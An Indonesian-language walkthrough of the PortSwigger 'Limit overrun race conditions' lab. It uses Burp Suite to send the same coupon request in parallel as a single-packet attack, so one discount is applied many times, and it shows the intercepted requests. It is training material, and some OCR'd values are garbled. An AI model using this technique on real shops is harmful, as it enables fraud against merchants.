

Limit overrun race conditions

Langkah penyelesaian

Buka lab

The screenshot shows a Kali Linux desktop environment with a Firefox browser window open. The title bar of the browser says "Limit overrun race conditions". The address bar shows the URL "0a0300760414f04e806e0d4600d700a9 web-security-academy.net". The main content area is a web page for "WebSecurity Academy". At the top, it says "Limit overrun race conditions" and "Back to lab description >". There is a green button labeled "LAB Not solved" with a gear icon. Below this, a green banner says "For 20% off use code at checkout: PROMO20". The page features a logo with the text "WE LIKE TO SHOP" and a hanger icon. It lists four products:

- Lightweight "I33!" Leather Jacket**: \$1337.00, 5 stars
- The Bucket of Doom**: \$33.91, 2 stars
- High-End Gift Wrapping**: \$60.05, 3 stars
- Babbage Web Spray**: \$40.90, 2 stars

Below these are three smaller images: a person sitting on a blue beanbag chair, a sandwich, and a hand holding a device.

Kemudian klik my account lalu login dengan username wiener dan password peter

Limit overrun race conditions

Back to lab description >

For 20% off use code at checkout: PROMO20

Home | My account | 0

Login

Username: wiener

Password: *****

Log in

Lalu setelah itu klik home lalu pilih cart belanjaan

Store credit: \$50.00

Home | My account | 0

WE LIKE TO
SHOP

Lightweight "I3st" Leather Jacket ★★★★★ \$1337.00 View details	The Bucket of Doom ★★★★★ \$33.91 View details	High-End Gift Wrapping ★★★★★ \$60.05 View details	Babbage Web Spray ★★★★★ \$40.90 View details
Giant Pillow Thing ★★★★★ \$74.02 View details	Single Use Food Hider ★★★★★ \$32.47 View details	Laser Tag ★★★★★ \$86.63 View details	Snow Delivered To Your Door ★★★★★ \$95.05 View details

Kemudian klik add to cart

Description:
Do you often feel as though people aren't aware of just how "I33t" you are? Do you find yourself struggling to make others feel inferior with public displays of your advanced "I33t-ness"? If either of these things are at the top of your priority list, it's time to welcome Lightweight "I33t" Leather Jacket into your life.
Handcrafted from leather and single strands of recycled bitcoin, so you can enjoy environmental smugness on top of your high-ranking leather-clad "I33t" levels, this jacket is far superior to anything currently available on the high street. Once you've explained to your friends and colleagues what "I33t" means, we guarantee you'll be at least 18% cooler when donning your "I33t" leather. Inspired by the term-coined, the jacket comes with hand-stitched CISSP insignia so you can channel the original elite every time you rock your Lightweight "I33t" Leather Jacket.
Make your apparel as formidable as your intellect, and dazzle noobs the world over, with the Lightweight "I33t" Leather Jacket.*
*Every purchase comes with a free leaflet, detailing how best to explain the superiority of being "I33t" to noobs.

1

Add to cart

< Return to list

Lalu klik keranjang tersebut

WebSecurity Academy | Limit overrun race conditions

Back to lab description >

LAB Not solved

For 20% off use code at checkout: PROMO20

Store credit: \$50.00

Cart

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	1

Coupon: PROMO20

Apply

Total: \$1337.00

Place order

Masukan voucher PROMO20 kemudian klik apply dan lihat intercept di burpsuite

Request

```

1 POST /cart/coupon HTTP/1.1
2 Host: 0a28002c04fad528106e35f0042008c.web-security-academy.net
3 Cookie: session=5CSAT89fpj0Y1cv9GdL8kPTOCBy7p0e
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 53
10 Origin: https://0a28002c04fad528106e35f0042008c.web-security-academy.net
11 Referer: https://0a28002c04fad528106e35f0042008c.web-security-academy.net/cart
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: 1l
17 Priority: u=0, i
18 Te: trailers
19 Connection: keep-alive
20
21 csrf=CnHdkqPBk2HQpoMoIjyEoBt1ShxJ&coupon=PROM020
  
```

Response

```

1 HTTP/2 200 OK
2 Location: /cart
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 14
5
6 Coupon applied
  
```

Kemudian klik send to repeater dan klik send kemudian amati

Request

```

1 POST /cart/coupon HTTP/2
2 Host: 0a28002c04fad528106e35f0042008c.web-security-academy.net
3 Cookie: session=5CSAT89fpj0Y1cv9GdL8kPTOCBy7p0e
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 52
10 Origin: https://0a28002c04fad528106e35f0042008c.web-security-academy.net
11 Referer: https://0a28002c04fad528106e35f0042008c.web-security-academy.net/cart?couponError=INVALID_COUPON&coupon=PROM020
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: 1l
17 Priority: u=0, i
18 Te: trailers
19
20 csrf=CnHdkqPBk2HQpoMoIjyEoBt1ShxJ&coupon=PROM020
  
```

Response

```

1 HTTP/2 302 Found
2 Location: /cart
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 14
5
6 Coupon applied
  
```

Lalu kemudian lihat di browser

Limit overrun race conditions

For 20% off use code at checkout: PROMO20

Store credit: \$50.00

Cart

Name	Price	Quantity
Lightweight "T33!" Leather Jacket	\$1337.00	1

Coupon:

Add coupon

Apply Coupon already applied

Code	Reduction
PROMO20	-\$267.40

Total: \$1069.60

Place order

Lalu klik remove kemudian ctrl+r tab repeater tadi sehingga menjadi banyak tab

Request

Raw

```
POST /cart/coupon HTTP/2
Host: 0a28002c04fad528106e35f0042008c.web-security-academy.net
Cookie: session=5CSAT89fpjp0Y1cv9g0L8k+pTC8y7pGe
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: https://0a28002c04fad528106e35f0042008c.web-security-academy.net
Referer: https://0a28002c04fad528106e35f0042008c.web-security-academy.net/cart
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=OnHdikqPBk2H3hp0MofjyEopBtLShxJ&coupon=PROMO20
```

Response

Inspector

Request attributes

Request query parameters

Request body parameters

Request cookies

Request headers

Ready

Event log (1) * All issues (13) *

Memory: 217.7MB of 1.88GB

Lalu kemudian klik tombol plus dan klik new tab group lalu kemudian pilih semua

Setelah itu klik create kemudian klik panah send

Lalu pilih send group in paralel(single-packet attack)

Burp Suite Professional v2025.11.6 - Temporary Project - licensed to h311ow0rld

Target: https://0a28002c4f0ad528106e35f0042008c.web-security-academy.net

Request

Pretty Raw Hex

1 POST /cart/coupon HTTP/2
2 Host: 0a28002c4f0ad528106e35f0042008c.web-security-academy.net
3 Content-Type: application/x-www-form-urlencoded
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/201001 Firefox/140.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 52
10 Origin: https://0a28002c4f0ad528106e35f0042008c.web-security-academy.net
11 Referer: https://0a28002c4f0ad528106e35f0042008c.web-security-academy.net/cart
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Priority: uo0, 1
18 Te: trailers
19
20 csrf=GhHdkgPK2HQhp0MjyEopBTlShxJ&coupon=PR0M02|

Response

Pretty Raw Hex Render

1 HTTP/2 200 Found
2 Location: /cart/couponError?COUPON_ALREADY_APPLIED&coupon=PR0M020
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 22
5
6 Coupon already applied

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 2

Request cookies 1

Request headers 20

Response headers 3

Explanations

Custom actions

Search 0 highlights

Search 0 highlights

Done

Event log (1) All issues (14)

Memory: 311.6MB of 1.88GB

158 bytes | 427 millis | 5768

Kemudian klik send group dan refresh browser

Limit overrun race conditions

Back to lab description >

For 20% off use code at checkout: PROMO20

Store credit:
\$50.00

Cart

Name	Price	Quantity
Lightweight "T33!" Leather Jacket	\$1337.00	- 1 + Remove

Coupon:

Add coupon

Apply

Code	Reduction
PROMO20	\$1321.60

Total: \$15.40

Place order

Dan didapatkan potongan harga yang begit tinggi kemudian klik place order

The screenshot shows a Firefox browser window with the title "Limit overrun race conditions". The address bar indicates the URL is `0a28002c04f0ad528106e35f0042008c.web-security-academy.net/cart/order-confirmation?order-confirmed=true`. The page content is as follows:

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) Continue learning >

For 20% off use code at checkout: PROMO20

Store credit: \$34.60

Your order is on its way!

Name	Price	Quantity
Lightweight "I33C" Leather Jacket	\$1337.00	1

Total: \$15.40

Home | My account | 0

Dan lab tersolved